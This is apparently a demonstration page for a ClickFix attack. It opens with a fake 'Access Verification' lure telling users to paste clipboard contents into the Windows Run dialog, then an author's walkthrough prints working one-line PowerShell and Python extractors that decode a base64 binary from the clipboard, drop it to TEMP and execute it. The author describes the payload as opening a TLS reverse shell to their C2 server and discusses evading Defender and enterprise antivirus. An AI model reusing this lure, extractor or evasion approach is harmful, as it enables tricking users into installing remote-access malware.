๐Ÿ”

Access Verification

One-step security check

1

Press Windows + R

Hold Win and press R

2

Copy verification code

...verification data...
3

Paste and press Enter

In Run dialog: Ctrl + V then Enter

Deep dive

How this ClickFix variant works

If you click the friendly looking button above, it will place something like 50kb of data into your clipboard. This consists of three parts: The initial command, a lot of padding, and then the entire malicious payload. They key thing that allows this to work is that the windows run dialog has a limit of 259 characters, so the the initial commmand fits into the run dialog, but all the data used later in the killchain only exists in RAM.

Extractor ยท current version

The extractor code

This is the command that fits into the run dialog. Its job is to read the clipboard, isolate the part after a marker character, base64-decode it into a binary, drop that binary to disk, and execute it.

minimal PowerShell extractor
 Working:  `powershell -nop -c "Add-Type -A System.Windows.Forms;$c=[Windows.Forms.Clipboard]::GetText();$p=$c.Split([char]126)[1];$m=$env:TEMP+'\\w.exe';$b=[Convert]::FromBase64String($p);[IO.File]::WriteAllBytes($m,$b);$s=New-Object -C WScript.Shell;$s.Run($m)"`

Challenges here included finding a way to fit what I wanted to do in less than 259 characters, avoiding AV detections, and escaping quoted strings sent from JS, to the run dialog, to powershell.

Extractor ยท failed variants

The failed variants

No luck with these
// Python made it very compact, but it was a struggle to execute the payload without defender catching it, and won't work in all environments.
 Bad example  `python -c "import os,base64,tkinter;open(os.environ['TEMP']+'\\\w.exe','wb').write(base64.b64decode(tkinter.Tk().clipboard_get().split('~')[2]));"

// Did you know you can open the run dialog with a command? This version opened it, typed in commands, then hit enter. Not very stealthy (or consistent)
 Badder example   //const extractor = `powershell -c "Add-Type -A System.Windows.Forms;$s=New-Object -C WScript.Shell;[Windows.Forms.Clipboard]::GetText().Split([char]42)[2..3]|%{$s.Run('explorer shell:::{2559a1f3-21d7-11d4-bdaf-00c04f60b9f0}');$s.SendKeys($_);sleep 1;$s.SendKeys('~');sleep 1}"`

The main issue I found was defender picking up on every cool method of execution. I wanted to run entirely in RAM, but it turns out defender thinks mapping data to memory is "suspicious". Most boring execution methods were blocked too, but for some reason making a COM object execute it with wscript.shell was allowed.

Padding

The padding

After the extractor, the script appends a long run of spaces. This ensures that the payload will never make it into the run dialog. Ideally I'd also include a nice message to fool the user into thinking they are doing something benign. My current command is a bit too long to also include a fake message afterwards.

Payload

The base64 payload

The final segment is the base64 encoded content of a compiled Windows binary, in this case, w.exe.

It is a brainfuck interpreter that takes brainfuck code, interprets it, and executes the output as shellcode. It comes with embedded code that creates a TLS reverse shell to my C2 server.

This payload is extracted from the clipboard, decoded into raw bytes and written to a file under %TEMP%.

Fun fact: There is no pre-set maximum size for clipboard data. You are limited only by available memory, address space, and your imagination.

Design space

Alternative methods I explored

Keeping on theme of the run dialog and our malicious content living in the clipboard, here is some other stuff I tried:

Multiple commands

Carry several commands in one clipboard

Instead of a single payload, you can encode multiple snippets separated by markers (*, |, etc.). If you can fit the execution logic into the run dialog, you can select them as needed. This was one way to function entirely in memory, though maybe not particularly practical?

It could also have functioned as just a second stage command if I couldn't get the first one under 259 characters.

SendKeys

Drive the UI via SendKeys

A variant of the extractor can open the run dialog and use SendKeys to type commands into the Run dialog then execute them. I can't find a good use for it, but it was very fun.

Risks & constraints

Issues and future improvements

Execution
On disk execution

I'd rather not be writing the file to disk, but so far that is the only way I have been able to get it to execute. Compact memory-only execution methods seem very closely monitored by AV.

With an unlimited clipboard size I will be exploring manually mapping a PE to memory. Not shellcode, but the whole thing. Less common than shellcode, so maybe less signatured?

Detectable
One-note behaviour

This attack is pretty novel, so its working for now, but it would very easy to make a signature for.

Future plan
Increase stealth

I'd love to find other interesting places to store the malicious content, which can be accessed by an otherwise benign command.

I'd like to rewrite my payload to be benign on its own, and also access its malicious content from somewhere in volatile memory.

Testing/hardening
Test against enterprise AV

If enterprise AV catches this, I'd like to improve the malware to get around it. And build detections for us.